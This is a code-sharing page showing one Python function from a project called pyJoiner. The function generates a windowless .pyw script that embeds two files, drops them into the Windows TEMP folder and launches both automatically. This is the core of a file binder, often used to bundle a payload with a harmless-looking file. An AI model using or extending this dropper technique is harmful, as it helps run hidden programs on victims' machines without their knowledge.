pyJoiner.py 文件源码

python
阅读 172 收藏 0 点赞 0 评论 0

项目:pyJoiner 作者: danielhnmoreno 项目源码 文件源码
def create_py_file(file1,file2):
        with open(file1.name, 'rb') as file_n1:
            with open(file2.name, 'rb') as file_n2:
                if not os.path.exists('/root/pyJoiner_output'):
                    os.mkdir('/root/pyJoiner_output')
                with open('/root/pyJoiner_output/py_file.pyw', 'w') as py_file:
                    py_file.write('''import os

def join(file,file_name, file_extension):

    if not os.path.exists(os.environ["TEMP"]+os.sep+file_name+file_extension):
        with open(os.environ["TEMP"]+os.sep+file_name+file_extension,"wb") as output_file:
            output_file.write(file)
    os.startfile(os.environ["TEMP"]+os.sep+file_name+file_extension)

file1 = %s
file2 = %s

join(file1, "output_file1", "%s")
join(file2, "output_file2", "%s") ''' %( str(file_n1.read()), str(file_n2.read()), file1.extension, file2.extension))
评论列表
文章目录


问题


面经


文章

微信
公众号

扫码关注公众号